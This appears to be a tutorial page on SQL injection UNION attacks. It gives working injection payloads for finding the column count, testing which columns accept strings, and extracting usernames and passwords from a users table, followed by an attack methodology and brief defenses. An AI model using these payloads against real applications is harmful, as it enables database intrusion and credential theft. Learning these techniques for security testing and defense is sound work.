Skip to content

SQL Injection Union Attacks

Understanding UNION

The UNION operator combines results from multiple SELECT queries into a single result set:

SELECT a, b FROM table1 UNION SELECT c, d FROM table2

Key Requirements

  1. Equal Columns: Both queries must return same number of columns.
  2. Compatible Data Types: Corresponding columns must have compatible data types.

Finding Column Count

ORDER BY

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3--
/* Continue until error */

How it works:

  • Attempts to sort by column number
  • Error occurs when number exceeds available columns

UNION SELECT NULL

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--
/* Continue until success */

Why NULL?

  • NULL is compatible with all common data types
  • Increases likelihood of successful injection
  • Helps avoid data type mismatch errors

Expected Responses

  1. Error: Column count mismatch
Terminal window
All queries combined using a UNION, INTERSECT or EXCEPT operator must have an equal number of expressions in their target lists.
  1. Success: Additional row appears with NULL values
  2. Application Behavior:
    • May show visible changes in output
    • Might trigger NULL pointer exceptions
    • Could show generic error pages

Finding String-Compatible Columns

Testing String Data Types

After finding column count, test each column for string compatibility:

' UNION SELECT 'a',NULL,NULL,NULL--
' UNION SELECT NULL,'a',NULL,NULL--
' UNION SELECT NULL,NULL,'a',NULL--
' UNION SELECT NULL,NULL,NULL,'a'--

Possible Outcomes

  1. Error: Column not string-compatible
  2. Success: Response includes injected string 'a'

Extracting Data Using UNION

Basic Data Extraction

  • Original query return 2 string-compatible columns
  • Injection point is in WHERE clause
  • Target table: users with columns username and password
' UNION SELECT username, password FROM users--

Single Column Multiple Values

When limited to one column, concatenate values:

' UNION SELECT username || '~' || password FROM users--

Notes

  • Uses || as Oracle concatenation operator
  • ~ serves as value separator
  • Combines multiple columns into single output

Attack Methodology

  1. Identify number of columns (ORDER BY or NULL method)
  2. Find string-compatible columns
  3. Determine target table/column names
  4. Craft UNION query
  5. Extract sensitive data

Defense Strategies

  1. Parameterized queries
  2. Input validation
  3. Proper error handling
  4. Least privilege database users
  5. Web application firewall (WAF)